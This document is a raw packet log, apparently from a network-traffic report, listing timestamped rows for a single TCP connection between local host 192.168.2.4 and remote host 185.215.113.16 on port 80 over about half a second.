Nov 30, 2024 09:44:35.817600965 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.818248034 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.818290949 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.818927050 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.818969011 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.819612980 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.819660902 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.820297003 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.820343018 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.820981026 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.821027994 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.821650982 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.821693897 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.822451115 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.822504044 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.823030949 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.823075056 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.823721886 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.823764086 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.824394941 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.824434042 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.825094938 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.825133085 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.825856924 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.825906992 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.826458931 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.826504946 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.827136993 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.827181101 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.827899933 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.827938080 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.828620911 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.828670025 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.829229116 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.829277039 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.829876900 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.829926014 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.830600977 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.830646992 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.831357002 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.831401110 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.831947088 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.831990957 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.832649946 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.832711935 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.833333015 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.833384037 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.834083080 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.834125996 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.834718943 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.834759951 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.835380077 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.835427046 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.836040020 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.836083889 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.836729050 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.836772919 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.837502003 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.837547064 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.838155031 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.838201046 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.838807106 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.838851929 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.839481115 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.839525938 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.840187073 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.840233088 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.840843916 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.840888977 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.841530085 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.841576099 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.842237949 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.842284918 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.842905998 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.842972040 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.843612909 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.843658924 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.844268084 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.844314098 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.844961882 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.845005035 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.845684052 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.845722914 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.846520901 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.846563101 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.847280979 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.847332001 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.847717047 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.847752094 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.848407030 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.848444939 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.849123955 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.849160910 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.849778891 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.849816084 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.850430965 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.850469112 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.851109982 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.851147890 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.851815939 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.851855040 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.852489948 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.852530956 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.853327990 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.853385925 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.853894949 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.853934050 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.854551077 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.854587078 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.855235100 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.855273008 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.855988026 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.856024027 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.856607914 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.856642962 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.857295036 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.857331991 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.857994080 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.858033895 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.858652115 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.858690023 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.967869997 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.967948914 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.968303919 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.968347073 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.968977928 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.969033957 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.969676971 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.969722986 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.970376015 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.970421076 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.970906973 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.970951080 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.971549988 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.971596003 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.992693901 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.992767096 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.993009090 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.993053913 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.993705034 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.993753910 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.994358063 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.994406939 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.994756937 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.994803905 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.995490074 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.995543957 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.996215105 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.996265888 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.996792078 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.996839046 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.996912003 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.996958017 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.997602940 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.997649908 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.998323917 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.998334885 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.998368025 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.998382092 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:35.999849081 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:35.999902010 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.000545979 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.000596046 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.001261950 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.001272917 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.001310110 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.001322985 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.002594948 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.002655983 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.003302097 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.003360987 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.004570007 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.004580975 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.004650116 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.005981922 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.005991936 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.006040096 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.006059885 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.007350922 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.007361889 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.007415056 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.008713961 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.008724928 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.008776903 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.010073900 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.010086060 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.010128021 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.010152102 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.011442900 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.011457920 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.011499882 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.011512995 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.012814045 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.012825012 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.012872934 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.014204025 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.014218092 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.014266014 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.015568018 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.015578985 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.015619993 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.015646935 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.016964912 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.016976118 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.017016888 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.017035961 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.018307924 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.018318892 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.018371105 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.019814014 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.019825935 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.019855022 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.019876957 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.021075010 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.021085978 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.021135092 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.021147013 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.022432089 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.022465944 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.022502899 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.022516012 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.023829937 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.023843050 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.023891926 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.023909092 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.025568008 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.025587082 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.025638103 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.026846886 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.026902914 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.027261972 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.027272940 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.027317047 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.028748989 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.028760910 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.028806925 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.030301094 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.030313015 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.030352116 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.030380964 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.031851053 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.031863928 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.031902075 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.031914949 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.033391953 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.033404112 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.033412933 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.033442020 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.033459902 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.034934044 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.034945965 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.034979105 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.034997940 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.036164045 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.036178112 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.036222935 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.037538052 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.037550926 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.037584066 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.037604094 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.038901091 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.038912058 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.038943052 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.038957119 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.040277004 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.040290117 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.040326118 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.041646004 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.041657925 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.041692972 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.043003082 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.043015003 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.043060064 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.044399977 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.044411898 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.044452906 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.045756102 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.045768023 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.045809984 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.047152042 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.047163963 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.047199011 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.048485994 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.048496962 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.048525095 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.048543930 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.049879074 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.049890041 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.049927950 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.051250935 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.051263094 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.051297903 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.052603006 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.052613974 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.052649975 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.053992033 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.054003000 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.054042101 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.055351019 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.055361032 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.055398941 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.055411100 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.056718111 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.056729078 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.056763887 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.058089018 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.058100939 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.058128119 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.058140039 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.059544086 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.059556007 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.059597015 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.060931921 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.060978889 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.169117928 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.169378996 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.169487000 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.169559956 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.170178890 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.170233965 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.170854092 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.170907974 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.171559095 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.171627998 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.172230959 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.172278881 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.172914982 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.172959089 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.194045067 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.194123983 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.194380999 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.194427013 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.195075035 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.195149899 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.195744991 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.195796013 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.196433067 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.196485996 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.197117090 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.197166920 CET	49759	80	192.168.2.4	185.215.113.16
